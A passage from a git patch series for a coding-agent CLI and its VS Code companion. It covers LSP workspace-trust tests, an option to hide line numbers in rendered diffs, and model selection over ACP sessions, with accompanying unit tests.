mockConfig.setTrusted(false); + + const strictService = new NativeLspService( + mockConfig as unknown as CoreConfig, + mockWorkspace as unknown as WorkspaceContext, + eventEmitter, + mockFileDiscovery as unknown as FileDiscoveryService, + mockIdeStore as unknown as IdeContextStore, + { + requireTrustedWorkspace: true, + }, + ); + + await strictService.discoverAndPrepare(); + const status = strictService.getStatus(); + + // No servers should be discovered in untrusted workspace + expect(status.size).toBe(0); + }); + + it('should allow operations in trusted workspace', async () => { + mockConfig.setTrusted(true); + + await lspService.discoverAndPrepare(); + // Service should be ready to accept operations (even if no real server) + expect(lspService).toBeDefined(); + }); + }); +}); + +describe('LSP Response Type Validation', () => { + describe('LspDiagnostic', () => { + it('should have correct structure', () => { + const diagnostic: LspDiagnostic = { + range: { + start: { line: 0, character: 0 }, + end: { line: 0, character: 10 }, + }, + severity: 'error', + code: 'TS2304', + source: 'typescript', + message: 'Cannot find name.', + }; + + expect(diagnostic.range).toBeDefined(); + expect(diagnostic.severity).toBe('error'); + expect(diagnostic.code).toBe('TS2304'); + expect(diagnostic.source).toBe('typescript'); + expect(diagnostic.message).toBeDefined(); + }); + + it('should support optional fields', () => { + const minimalDiagnostic: LspDiagnostic = { + range: { + start: { line: 0, character: 0 }, + end: { line: 0, character: 10 }, + }, + message: 'Error message', + }; + + expect(minimalDiagnostic.severity).toBeUndefined(); + expect(minimalDiagnostic.code).toBeUndefined(); + expect(minimalDiagnostic.source).toBeUndefined(); + }); + }); + + describe('LspLocation', () => { + it('should have correct structure', () => { + const location: LspLocation = { + uri: 'file:///test/file.ts', + range: { + start: { line: 10, character: 5 }, + end: { line: 10, character: 15 }, + }, + }; + + expect(location.uri).toBe('file:///test/file.ts'); + expect(location.range.start.line).toBe(10); + expect(location.range.start.character).toBe(5); + expect(location.range.end.line).toBe(10); + expect(location.range.end.character).toBe(15); + }); + }); +}); From 4c6780b79d4f51a0055fe193bf12d33a24f87aeb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E4=BC=9F=E5=85=89?= Date: Wed, 21 Jan 2026 11:25:14 +0800 Subject: [PATCH 09/79] feat: make DiffRenderer respect ui.showLineNumbers setting --- .../components/messages/DiffRenderer.test.tsx | 86 +++++++++++++++++++ .../ui/components/messages/DiffRenderer.tsx | 34 +++++--- .../components/messages/ToolMessage.test.tsx | 9 +- .../ui/components/messages/ToolMessage.tsx | 8 +- 4 files changed, 123 insertions(+), 14 deletions(-) diff --git a/packages/cli/src/ui/components/messages/DiffRenderer.test.tsx b/packages/cli/src/ui/components/messages/DiffRenderer.test.tsx index 9629b94ba..d2fbecf35 100644 --- a/packages/cli/src/ui/components/messages/DiffRenderer.test.tsx +++ b/packages/cli/src/ui/components/messages/DiffRenderer.test.tsx @@ -9,6 +9,7 @@ import { render } from 'ink-testing-library'; import { DiffRenderer } from './DiffRenderer.js'; import * as CodeColorizer from '../../utils/CodeColorizer.js'; import { vi } from 'vitest'; +import type { LoadedSettings } from '../../../config/settings.js'; describe('', () => { const mockColorizeCode = vi.spyOn(CodeColorizer, 'colorizeCode'); @@ -45,6 +46,7 @@ index 0000000..e69de29 undefined, 80, undefined, + undefined, ); }); @@ -73,6 +75,7 @@ index 0000000..e69de29 undefined, 80, undefined, + undefined, ); }); @@ -97,6 +100,7 @@ index 0000000..e69de29 undefined, 80, undefined, + undefined, ); }); @@ -362,4 +366,86 @@ fileDiff Index: Dockerfile 2 RUN npm install 3 RUN npm run build`); }); + + describe('showLineNumbers setting', () => { + const diffContent = ` +diff --git a/test.txt b/test.txt +index 0000001..0000002 100644 +--- a/test.txt ++++ b/test.txt +@@ -1,2 +1,2 @@ +-old line 1 ++new line 1 + context line 2 +`; + + it('should show line numbers by default when settings is undefined', () => { + const { lastFrame } = render( + + + , + ); + const output = lastFrame(); + expect(output).toContain('1 -'); + expect(output).toContain('1 +'); + expect(output).toContain('2 '); + }); + + it('should show line numbers when showLineNumbers is true', () => { + const mockSettings = { + merged: { + ui: { + showLineNumbers: true, + }, + }, + } as unknown as LoadedSettings; + + const { lastFrame } = render( + + + , + ); + const output = lastFrame(); + expect(output).toContain('1 -'); + expect(output).toContain('1 +'); + expect(output).toContain('2 '); + }); + + it('should hide line numbers when showLineNumbers is false', () => { + const mockSettings = { + merged: { + ui: { + showLineNumbers: false, + }, + }, + } as unknown as LoadedSettings; + + const { lastFrame } = render( + + + , + ); + const output = lastFrame(); + // Line numbers should not be present + expect(output).not.toMatch(/^\s*\d+\s*[-+]/m); + // But the content should still be there + expect(output).toContain('old line 1'); + expect(output).toContain('new line 1'); + expect(output).toContain('context line 2'); + }); + }); }); diff --git a/packages/cli/src/ui/components/messages/DiffRenderer.tsx b/packages/cli/src/ui/components/messages/DiffRenderer.tsx index d962d683b..a3c603227 100644 --- a/packages/cli/src/ui/components/messages/DiffRenderer.tsx +++ b/packages/cli/src/ui/components/messages/DiffRenderer.tsx @@ -11,6 +11,7 @@ import { colorizeCode, colorizeLine } from '../../utils/CodeColorizer.js'; import { MaxSizedBox } from '../shared/MaxSizedBox.js'; import { theme as semanticTheme } from '../../semantic-colors.js'; import type { Theme } from '../../themes/theme.js'; +import type { LoadedSettings } from '../../../config/settings.js'; interface DiffLine { type: 'add' | 'del' | 'context' | 'hunk' | 'other'; @@ -86,6 +87,7 @@ interface DiffRendererProps { availableTerminalHeight?: number; terminalWidth: number; theme?: Theme; + settings?: LoadedSettings; } const DEFAULT_TAB_WIDTH = 4; // Spaces per tab for normalization @@ -97,6 +99,7 @@ export const DiffRenderer: React.FC = ({ availableTerminalHeight, terminalWidth, theme, + settings, }) => { const screenReaderEnabled = useIsScreenReaderEnabled(); if (!diffContent || typeof diffContent !== 'string') { @@ -157,6 +160,7 @@ export const DiffRenderer: React.FC = ({ availableTerminalHeight, terminalWidth, theme, + settings, ); } else { renderedOutput = renderDiffContent( @@ -165,6 +169,7 @@ export const DiffRenderer: React.FC = ({ tabWidth, availableTerminalHeight, terminalWidth, + settings, ); } @@ -177,6 +182,7 @@ const renderDiffContent = ( tabWidth = DEFAULT_TAB_WIDTH, availableTerminalHeight: number | undefined, terminalWidth: number, + settings?: LoadedSettings, ) => { // 1. Normalize whitespace (replace tabs with spaces) *before* further processing const normalizedLines = parsedLines.map((line) => ({ @@ -201,6 +207,8 @@ const renderDiffContent = ( ); } + const showLineNumbers = settings?.merged.ui?.showLineNumbers ?? true; + const maxLineNumber = Math.max( 0, ...displayableLines.map((l) => l.oldLine ?? 0), @@ -299,18 +307,20 @@ const renderDiffContent = ( acc.push( - - {gutterNumStr.padStart(gutterWidth)}{' '} - + {showLineNumbers && ( + + {gutterNumStr.padStart(gutterWidth)}{' '} + + )} {line.type === 'context' ? ( <> {prefixSymbol} diff --git a/packages/cli/src/ui/components/messages/ToolMessage.test.tsx b/packages/cli/src/ui/components/messages/ToolMessage.test.tsx index 883cdfb89..fa853d876 100644 --- a/packages/cli/src/ui/components/messages/ToolMessage.test.tsx +++ b/packages/cli/src/ui/components/messages/ToolMessage.test.tsx @@ -58,10 +58,17 @@ vi.mock('../GeminiRespondingSpinner.js', () => ({ vi.mock('./DiffRenderer.js', () => ({ DiffRenderer: function MockDiffRenderer({ diffContent, + settings, }: { diffContent: string; + settings?: unknown; }) { - return MockDiff:{diffContent}; + return ( + + MockDiff:{diffContent} + {settings ? ':withSettings' : ''} + + ); }, })); vi.mock('../../utils/MarkdownDisplay.js', () => ({ diff --git a/packages/cli/src/ui/components/messages/ToolMessage.tsx b/packages/cli/src/ui/components/messages/ToolMessage.tsx index 67e442544..8f5017f52 100644 --- a/packages/cli/src/ui/components/messages/ToolMessage.tsx +++ b/packages/cli/src/ui/components/messages/ToolMessage.tsx @@ -30,6 +30,8 @@ import { TOOL_STATUS, } from '../../constants.js'; import { theme } from '../../semantic-colors.js'; +import { SettingsContext } from '../../contexts/SettingsContext.js'; +import type { LoadedSettings } from '../../../config/settings.js'; const STATIC_HEIGHT = 1; const RESERVED_LINE_COUNT = 5; // for tool name, status, padding etc. @@ -210,12 +212,14 @@ const DiffResultRenderer: React.FC<{ data: { fileDiff: string; fileName: string }; availableHeight?: number; childWidth: number; -}> = ({ data, availableHeight, childWidth }) => ( + settings?: LoadedSettings; +}> = ({ data, availableHeight, childWidth, settings }) => ( ); @@ -243,6 +247,7 @@ export const ToolMessage: React.FC = ({ ptyId, config, }) => { + const settings = React.useContext(SettingsContext); const isThisShellFocused = (name === SHELL_COMMAND_NAME || name === 'Shell') && status === ToolCallStatus.Executing && @@ -349,6 +354,7 @@ export const ToolMessage: React.FC = ({ data={displayRenderer.data} availableHeight={availableHeight} childWidth={childWidth} + settings={settings} /> )} {displayRenderer.type === 'ansi' && ( From 48511c58a5f5c9e225146bc93805501cd7936772 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Wed, 21 Jan 2026 13:18:36 +0800 Subject: [PATCH 10/79] feat(vscode-ide-companion): add model selection functionality with ACP session management Co-authored-by: Qwen-Coder --- .../src/constants/acpSchema.ts | 1 + .../src/services/acpConnection.ts | 15 + .../src/services/acpSessionManager.test.ts | 147 +++++++ .../src/services/acpSessionManager.ts | 26 ++ .../src/services/qwenAgentManager.ts | 96 ++++- .../src/services/qwenConnectionHandler.ts | 23 +- .../services/qwenSessionUpdateHandler.test.ts | 379 ++++++++++++++++++ .../src/services/qwenSessionUpdateHandler.ts | 41 +- .../src/types/acpTypes.ts | 29 +- .../src/types/chatTypes.ts | 9 +- .../src/types/completionItemTypes.ts | 10 + .../src/utils/acpModelInfo.test.ts | 133 +++++- .../src/utils/acpModelInfo.ts | 63 +++ .../vscode-ide-companion/src/webview/App.tsx | 178 +++++++- .../src/webview/WebViewProvider.ts | 28 ++ .../webview/components/icons/StatusIcons.tsx | 51 +++ .../src/webview/components/icons/index.ts | 2 + .../components/layout/CompletionMenu.tsx | 169 +++++--- .../webview/components/layout/InputForm.tsx | 26 ++ .../components/layout/ModelSelector.tsx | 191 +++++++++ .../webview/handlers/SessionMessageHandler.ts | 29 ++ .../src/webview/hooks/useWebViewMessages.ts | 62 ++- 22 files changed, 1635 insertions(+), 73 deletions(-) create mode 100644 packages/vscode-ide-companion/src/services/acpSessionManager.test.ts create mode 100644 packages/vscode-ide-companion/src/services/qwenSessionUpdateHandler.test.ts create mode 100644 packages/vscode-ide-companion/src/webview/components/layout/ModelSelector.tsx diff --git a/packages/vscode-ide-companion/src/constants/acpSchema.ts b/packages/vscode-ide-companion/src/constants/acpSchema.ts index edbfdd5a8..7cd8d4c09 100644 --- a/packages/vscode-ide-companion/src/constants/acpSchema.ts +++ b/packages/vscode-ide-companion/src/constants/acpSchema.ts @@ -14,6 +14,7 @@ export const AGENT_METHODS = { session_prompt: 'session/prompt', session_save: 'session/save', session_set_mode: 'session/set_mode', + session_set_model: 'session/set_model', } as const; export const CLIENT_METHODS = { diff --git a/packages/vscode-ide-companion/src/services/acpConnection.ts b/packages/vscode-ide-companion/src/services/acpConnection.ts index c999a983b..0a5aec02c 100644 --- a/packages/vscode-ide-companion/src/services/acpConnection.ts +++ b/packages/vscode-ide-companion/src/services/acpConnection.ts @@ -401,6 +401,21 @@ export class AcpConnection { ); } + /** + * Set model for current session + * + * @param modelId - Model ID + * @returns Set model response + */ + async setModel(modelId: string): Promise { + return this.sessionManager.setModel( + modelId, + this.child, + this.pendingRequests, + this.nextRequestId, + ); + } + /** * Disconnect */ diff --git a/packages/vscode-ide-companion/src/services/acpSessionManager.test.ts b/packages/vscode-ide-companion/src/services/acpSessionManager.test.ts new file mode 100644 index 000000000..17e3e4f8e --- /dev/null +++ b/packages/vscode-ide-companion/src/services/acpSessionManager.test.ts @@ -0,0 +1,147 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import { AcpSessionManager } from './acpSessionManager.js'; +import type { ChildProcess } from 'child_process'; +import type { PendingRequest } from '../types/connectionTypes.js'; +import { AGENT_METHODS } from '../constants/acpSchema.js'; + +describe('AcpSessionManager', () => { + let sessionManager: AcpSessionManager; + let mockChild: ChildProcess; + let pendingRequests: Map>; + let nextRequestId: { value: number }; + let writtenMessages: string[]; + + beforeEach(() => { + sessionManager = new AcpSessionManager(); + writtenMessages = []; + + mockChild = { + stdin: { + write: vi.fn((msg: string) => { + writtenMessages.push(msg); + // Simulate async response + const parsed = JSON.parse(msg.trim()); + const id = parsed.id; + setTimeout(() => { + const pending = pendingRequests.get(id); + if (pending) { + pending.resolve({ modeId: 'default', modelId: 'test-model' }); + pendingRequests.delete(id); + } + }, 10); + }), + }, + } as unknown as ChildProcess; + + pendingRequests = new Map(); + nextRequestId = { value: 0 }; + }); + + describe('setModel', () => { + it('sends session/set_model request with correct parameters', async () => { + // First initialize the session + // @ts-expect-error - accessing private property for testing + sessionManager.sessionId = 'test-session-id'; + + const responsePromise = sessionManager.setModel( + 'qwen3-coder-plus', + mockChild, + pendingRequests, + nextRequestId, + ); + + // Wait for the response + const response = await responsePromise; + + // Verify the message was sent + expect(writtenMessages.length).toBe(1); + const sentMessage = JSON.parse(writtenMessages[0].trim()); + + expect(sentMessage.method).toBe(AGENT_METHODS.session_set_model); + expect(sentMessage.params).toEqual({ + sessionId: 'test-session-id', + modelId: 'qwen3-coder-plus', + }); + expect(response).toEqual({ modeId: 'default', modelId: 'test-model' }); + }); + + it('throws error when no active session', async () => { + await expect( + sessionManager.setModel( + 'qwen3-coder-plus', + mockChild, + pendingRequests, + nextRequestId, + ), + ).rejects.toThrow('No active ACP session'); + }); + + it('increments request ID for each call', async () => { + // @ts-expect-error - accessing private property for testing + sessionManager.sessionId = 'test-session-id'; + + await sessionManager.setModel( + 'model-1', + mockChild, + pendingRequests, + nextRequestId, + ); + + await sessionManager.setModel( + 'model-2', + mockChild, + pendingRequests, + nextRequestId, + ); + + const firstMessage = JSON.parse(writtenMessages[0].trim()); + const secondMessage = JSON.parse(writtenMessages[1].trim()); + + expect(firstMessage.id).toBe(0); + expect(secondMessage.id).toBe(1); + }); + }); + + describe('setMode', () => { + it('sends session/set_mode request with correct parameters', async () => { + // @ts-expect-error - accessing private property for testing + sessionManager.sessionId = 'test-session-id'; + + const responsePromise = sessionManager.setMode( + 'auto-edit', + mockChild, + pendingRequests, + nextRequestId, + ); + + const response = await responsePromise; + + expect(writtenMessages.length).toBe(1); + const sentMessage = JSON.parse(writtenMessages[0].trim()); + + expect(sentMessage.method).toBe(AGENT_METHODS.session_set_mode); + expect(sentMessage.params).toEqual({ + sessionId: 'test-session-id', + modeId: 'auto-edit', + }); + expect(response).toBeDefined(); + }); + + it('throws error when no active session', async () => { + await expect( + sessionManager.setMode( + 'default', + mockChild, + pendingRequests, + nextRequestId, + ), + ).rejects.toThrow('No active ACP session'); + }); + }); +}); diff --git a/packages/vscode-ide-companion/src/services/acpSessionManager.ts b/packages/vscode-ide-companion/src/services/acpSessionManager.ts index 2d85d20aa..240bd5736 100644 --- a/packages/vscode-ide-companion/src/services/acpSessionManager.ts +++ b/packages/vscode-ide-companion/src/services/acpSessionManager.ts @@ -375,6 +375,32 @@ export class AcpSessionManager { return res; } + /** + * Set model for current session (ACP session/set_model) + * + * @param modelId - Model ID + */ + async setModel( + modelId: string, + child: ChildProcess | null, + pendingRequests: Map>, + nextRequestId: { value: number }, + ): Promise { + if (!this.sessionId) { + throw new Error('No active ACP session'); + } + console.log('[ACP] Sending session/set_model:', modelId); + const res = await this.sendRequest( + AGENT_METHODS.session_set_model, + { sessionId: this.sessionId, modelId }, + child, + pendingRequests, + nextRequestId, + ); + console.log('[ACP] set_model response:', res); + return res; + } + /** * Switch to specified session * diff --git a/packages/vscode-ide-companion/src/services/qwenAgentManager.ts b/packages/vscode-ide-companion/src/services/qwenAgentManager.ts index 9b9b9cbc8..bb19c8fca 100644 --- a/packages/vscode-ide-companion/src/services/qwenAgentManager.ts +++ b/packages/vscode-ide-companion/src/services/qwenAgentManager.ts @@ -9,6 +9,7 @@ import type { AcpPermissionRequest, AuthenticateUpdateNotification, ModelInfo, + AvailableCommand, } from '../types/acpTypes.js'; import type { ApprovalModeValue } from '../types/approvalModeValueTypes.js'; import { QwenSessionReader, type QwenSession } from './qwenSessionReader.js'; @@ -26,7 +27,10 @@ import { } from '../services/qwenConnectionHandler.js'; import { QwenSessionUpdateHandler } from './qwenSessionUpdateHandler.js'; import { authMethod } from '../types/acpTypes.js'; -import { extractModelInfoFromNewSessionResult } from '../utils/acpModelInfo.js'; +import { + extractModelInfoFromNewSessionResult, + extractSessionModelState, +} from '../utils/acpModelInfo.js'; import { isAuthenticationRequiredError } from '../utils/authErrors.js'; import { handleAuthenticateUpdate } from '../utils/authNotificationHandler.js'; @@ -207,6 +211,16 @@ export class QwenAgentManager { if (res.modelInfo && this.callbacks.onModelInfo) { this.callbacks.onModelInfo(res.modelInfo); } + // Emit available models from connect result + if (res.availableModels && res.availableModels.length > 0) { + console.log( + '[QwenAgentManager] Emitting availableModels from connect():', + res.availableModels.map((m) => m.modelId), + ); + if (this.callbacks.onAvailableModels) { + this.callbacks.onAvailableModels(res.availableModels); + } + } return res; } @@ -245,6 +259,27 @@ export class QwenAgentManager { } } + /** + * Set model from UI + */ + async setModelFromUi(modelId: string): Promise { + try { + const res = await this.connection.setModel(modelId); + // Parse response and notify UI + const result = (res?.result || {}) as { modelId?: string }; + const confirmedModelId = result.modelId || modelId; + const modelInfo: ModelInfo = { + modelId: confirmedModelId, + name: confirmedModelId, + }; + this.callbacks.onModelChanged?.(modelInfo); + return modelInfo; + } catch (err) { + console.error('[QwenAgentManager] Failed to set model:', err); + throw err; + } + } + /** * Validate if current session is still active * This is a lightweight check to verify session validity @@ -1087,10 +1122,17 @@ export class QwenAgentManager { const autoAuthenticate = options?.autoAuthenticate ?? true; // Reuse existing session if present if (this.connection.currentSessionId) { + console.log( + '[QwenAgentManager] createNewSession: reusing existing session', + this.connection.currentSessionId, + ); return this.connection.currentSessionId; } // Deduplicate concurrent session/new attempts if (this.sessionCreateInFlight) { + console.log( + '[QwenAgentManager] createNewSession: session creation already in flight', + ); return this.sessionCreateInFlight; } @@ -1102,6 +1144,10 @@ export class QwenAgentManager { // Try to create a new ACP session. If Qwen asks for auth, let it handle authentication. try { newSessionResult = await this.connection.newSession(workingDir); + console.log( + '[QwenAgentManager] newSession returned:', + JSON.stringify(newSessionResult, null, 2), + ); } catch (err) { const requiresAuth = isAuthenticationRequiredError(err); @@ -1142,6 +1188,30 @@ export class QwenAgentManager { this.callbacks.onModelInfo(modelInfo); } + // Extract and emit available models + const modelState = extractSessionModelState(newSessionResult); + console.log( + '[QwenAgentManager] Extracted model state from session/new:', + modelState, + ); + if ( + modelState?.availableModels && + modelState.availableModels.length > 0 + ) { + console.log( + '[QwenAgentManager] Emitting availableModels:', + modelState.availableModels, + ); + if (this.callbacks.onAvailableModels) { + this.callbacks.onAvailableModels(modelState.availableModels); + } + } else { + console.warn( + '[QwenAgentManager] No availableModels found in session/new response. Raw models field:', + (newSessionResult as Record)?.models, + ); + } + const newSessionId = this.connection.currentSessionId; console.log( '[QwenAgentManager] New session created with ID:', @@ -1288,6 +1358,30 @@ export class QwenAgentManager { this.sessionUpdateHandler.updateCallbacks(this.callbacks); } + /** + * Register callback for model changed updates (from ACP current_model_update) + */ + onModelChanged(callback: (model: ModelInfo) => void): void { + this.callbacks.onModelChanged = callback; + this.sessionUpdateHandler.updateCallbacks(this.callbacks); + } + + /** + * Register callback for available commands updates (from ACP available_commands_update) + */ + onAvailableCommands(callback: (commands: AvailableCommand[]) => void): void { + this.callbacks.onAvailableCommands = callback; + this.sessionUpdateHandler.updateCallbacks(this.callbacks); + } + + /** + * Register callback for available models updates (from session/new response) + */ + onAvailableModels(callback: (models: ModelInfo[]) => void): void { + this.callbacks.onAvailableModels = callback; + this.sessionUpdateHandler.updateCallbacks(this.callbacks); + } + /** * Disconnect */ diff --git a/packages/vscode-ide-companion/src/services/qwenConnectionHandler.ts b/packages/vscode-ide-companion/src/services/qwenConnectionHandler.ts index 0be0cacaa..9b4a188c8 100644 --- a/packages/vscode-ide-companion/src/services/qwenConnectionHandler.ts +++ b/packages/vscode-ide-companion/src/services/qwenConnectionHandler.ts @@ -13,13 +13,17 @@ import type { AcpConnection } from './acpConnection.js'; import { isAuthenticationRequiredError } from '../utils/authErrors.js'; import { authMethod } from '../types/acpTypes.js'; -import { extractModelInfoFromNewSessionResult } from '../utils/acpModelInfo.js'; +import { + extractModelInfoFromNewSessionResult, + extractSessionModelState, +} from '../utils/acpModelInfo.js'; import type { ModelInfo } from '../types/acpTypes.js'; export interface QwenConnectionResult { sessionCreated: boolean; requiresAuth: boolean; modelInfo?: ModelInfo; + availableModels?: ModelInfo[]; } /** @@ -48,6 +52,7 @@ export class QwenConnectionHandler { let sessionCreated = false; let requiresAuth = false; let modelInfo: ModelInfo | undefined; + let availableModels: ModelInfo[] | undefined; // Build extra CLI arguments (only essential parameters) const extraArgs: string[] = []; @@ -79,6 +84,20 @@ export class QwenConnectionHandler { ); modelInfo = extractModelInfoFromNewSessionResult(newSessionResult) || undefined; + + // Extract available models from session/new response + const modelState = extractSessionModelState(newSessionResult); + if ( + modelState?.availableModels && + modelState.availableModels.length > 0 + ) { + availableModels = modelState.availableModels; + console.log( + '[QwenAgentManager] Extracted availableModels from session/new:', + availableModels.map((m) => m.modelId), + ); + } + console.log('[QwenAgentManager] New session created successfully'); sessionCreated = true; } catch (sessionError) { @@ -105,7 +124,7 @@ export class QwenConnectionHandler { console.log(`\n========================================`); console.log(`[QwenAgentManager] ✅ CONNECT() COMPLETED SUCCESSFULLY`); console.log(`========================================\n`); - return { sessionCreated, requiresAuth, modelInfo }; + return { sessionCreated, requiresAuth, modelInfo, availableModels }; } /** diff --git a/packages/vscode-ide-companion/src/services/qwenSessionUpdateHandler.test.ts b/packages/vscode-ide-companion/src/services/qwenSessionUpdateHandler.test.ts new file mode 100644 index 000000000..dc84199e8 --- /dev/null +++ b/packages/vscode-ide-companion/src/services/qwenSessionUpdateHandler.test.ts @@ -0,0 +1,379 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import { QwenSessionUpdateHandler } from './qwenSessionUpdateHandler.js'; +import type { AcpSessionUpdate } from '../types/acpTypes.js'; +import type { ApprovalModeValue } from '../types/approvalModeValueTypes.js'; +import type { QwenAgentCallbacks } from '../types/chatTypes.js'; + +describe('QwenSessionUpdateHandler', () => { + let handler: QwenSessionUpdateHandler; + let mockCallbacks: QwenAgentCallbacks; + + beforeEach(() => { + mockCallbacks = { + onStreamChunk: vi.fn(), + onThoughtChunk: vi.fn(), + onToolCall: vi.fn(), + onPlan: vi.fn(), + onModeChanged: vi.fn(), + onModelChanged: vi.fn(), + onUsageUpdate: vi.fn(), + onAvailableCommands: vi.fn(), + }; + handler = new QwenSessionUpdateHandler(mockCallbacks); + }); + + describe('current_model_update handling', () => { + it('calls onModelChanged callback with model info', () => { + const modelUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'current_model_update', + model: { + modelId: 'qwen3-coder-plus', + name: 'Qwen3 Coder Plus', + description: 'A powerful coding model', + }, + }, + } as AcpSessionUpdate; + + handler.handleSessionUpdate(modelUpdate); + + expect(mockCallbacks.onModelChanged).toHaveBeenCalledWith({ + modelId: 'qwen3-coder-plus', + name: 'Qwen3 Coder Plus', + description: 'A powerful coding model', + }); + }); + + it('handles model update with _meta field', () => { + const modelUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'current_model_update', + model: { + modelId: 'test-model', + name: 'Test Model', + _meta: { contextLimit: 128000 }, + }, + }, + } as AcpSessionUpdate; + + handler.handleSessionUpdate(modelUpdate); + + expect(mockCallbacks.onModelChanged).toHaveBeenCalledWith({ + modelId: 'test-model', + name: 'Test Model', + _meta: { contextLimit: 128000 }, + }); + }); + + it('does not call callback when onModelChanged is not set', () => { + const handlerWithoutCallback = new QwenSessionUpdateHandler({}); + + const modelUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'current_model_update', + model: { + modelId: 'qwen3-coder', + name: 'Qwen3 Coder', + }, + }, + } as AcpSessionUpdate; + + // Should not throw + expect(() => + handlerWithoutCallback.handleSessionUpdate(modelUpdate), + ).not.toThrow(); + }); + }); + + describe('current_mode_update handling', () => { + it('calls onModeChanged callback with mode id', () => { + const modeUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'current_mode_update', + modeId: 'auto-edit' as ApprovalModeValue, + }, + } as AcpSessionUpdate; + + handler.handleSessionUpdate(modeUpdate); + + expect(mockCallbacks.onModeChanged).toHaveBeenCalledWith('auto-edit'); + }); + }); + + describe('agent_message_chunk handling', () => { + it('calls onStreamChunk callback with text content', () => { + const messageUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'agent_message_chunk', + content: { + type: 'text', + text: 'Hello, world!', + }, + }, + }; + + handler.handleSessionUpdate(messageUpdate); + + expect(mockCallbacks.onStreamChunk).toHaveBeenCalledWith('Hello, world!'); + }); + + it('emits usage metadata when present', () => { + const messageUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'agent_message_chunk', + content: { + type: 'text', + text: 'Response', + }, + _meta: { + usage: { + promptTokens: 100, + completionTokens: 50, + totalTokens: 150, + }, + durationMs: 1234, + }, + }, + }; + + handler.handleSessionUpdate(messageUpdate); + + expect(mockCallbacks.onUsageUpdate).toHaveBeenCalledWith({ + usage: { + promptTokens: 100, + completionTokens: 50, + totalTokens: 150, + }, + durationMs: 1234, + }); + }); + }); + + describe('tool_call handling', () => { + it('calls onToolCall callback with tool call data', () => { + const toolCallUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'tool_call', + toolCallId: 'call-123', + kind: 'read', + title: 'Read file', + status: 'pending', + rawInput: { path: '/test/file.ts' }, + }, + }; + + handler.handleSessionUpdate(toolCallUpdate); + + expect(mockCallbacks.onToolCall).toHaveBeenCalledWith({ + toolCallId: 'call-123', + kind: 'read', + title: 'Read file', + status: 'pending', + rawInput: { path: '/test/file.ts' }, + content: undefined, + locations: undefined, + }); + }); + }); + + describe('plan handling', () => { + it('calls onPlan callback with plan entries', () => { + const planUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'plan', + entries: [ + { content: 'Step 1', priority: 'high', status: 'pending' }, + { content: 'Step 2', priority: 'medium', status: 'pending' }, + ], + }, + }; + + handler.handleSessionUpdate(planUpdate); + + expect(mockCallbacks.onPlan).toHaveBeenCalledWith([ + { content: 'Step 1', priority: 'high', status: 'pending' }, + { content: 'Step 2', priority: 'medium', status: 'pending' }, + ]); + }); + + it('falls back to stream chunk when onPlan is not set', () => { + const handlerWithStream = new QwenSessionUpdateHandler({ + onStreamChunk: vi.fn(), + }); + + const planUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'plan', + entries: [{ content: 'Task 1', priority: 'high', status: 'pending' }], + }, + }; + + handlerWithStream.handleSessionUpdate(planUpdate); + + expect(handlerWithStream['callbacks'].onStreamChunk).toHaveBeenCalled(); + }); + }); + + describe('available_commands_update handling', () => { + it('calls onAvailableCommands callback with commands', () => { + const commandsUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'available_commands_update', + availableCommands: [ + { + name: 'compress', + description: 'Compress the context', + input: null, + }, + { + name: 'init', + description: 'Initialize the project', + input: null, + }, + { + name: 'summary', + description: 'Generate project summary', + input: null, + }, + ], + }, + } as AcpSessionUpdate; + + handler.handleSessionUpdate(commandsUpdate); + + expect(mockCallbacks.onAvailableCommands).toHaveBeenCalledWith([ + { name: 'compress', description: 'Compress the context', input: null }, + { name: 'init', description: 'Initialize the project', input: null }, + { + name: 'summary', + description: 'Generate project summary', + input: null, + }, + ]); + }); + + it('handles commands with input hint', () => { + const commandsUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'available_commands_update', + availableCommands: [ + { + name: 'search', + description: 'Search for files', + input: { hint: 'Enter search query' }, + }, + ], + }, + } as AcpSessionUpdate; + + handler.handleSessionUpdate(commandsUpdate); + + expect(mockCallbacks.onAvailableCommands).toHaveBeenCalledWith([ + { + name: 'search', + description: 'Search for files', + input: { hint: 'Enter search query' }, + }, + ]); + }); + + it('does not call callback when onAvailableCommands is not set', () => { + const handlerWithoutCallback = new QwenSessionUpdateHandler({}); + + const commandsUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'available_commands_update', + availableCommands: [ + { name: 'compress', description: 'Compress', input: null }, + ], + }, + } as AcpSessionUpdate; + + // Should not throw + expect(() => + handlerWithoutCallback.handleSessionUpdate(commandsUpdate), + ).not.toThrow(); + }); + + it('handles empty commands list', () => { + const commandsUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'available_commands_update', + availableCommands: [], + }, + } as AcpSessionUpdate; + + handler.handleSessionUpdate(commandsUpdate); + + expect(mockCallbacks.onAvailableCommands).toHaveBeenCalledWith([]); + }); + }); + + describe('updateCallbacks', () => { + it('updates callbacks and uses new ones', () => { + const newOnModelChanged = vi.fn(); + handler.updateCallbacks({ + ...mockCallbacks, + onModelChanged: newOnModelChanged, + }); + + const modelUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'current_model_update', + model: { + modelId: 'new-model', + name: 'New Model', + }, + }, + } as AcpSessionUpdate; + + handler.handleSessionUpdate(modelUpdate); + + 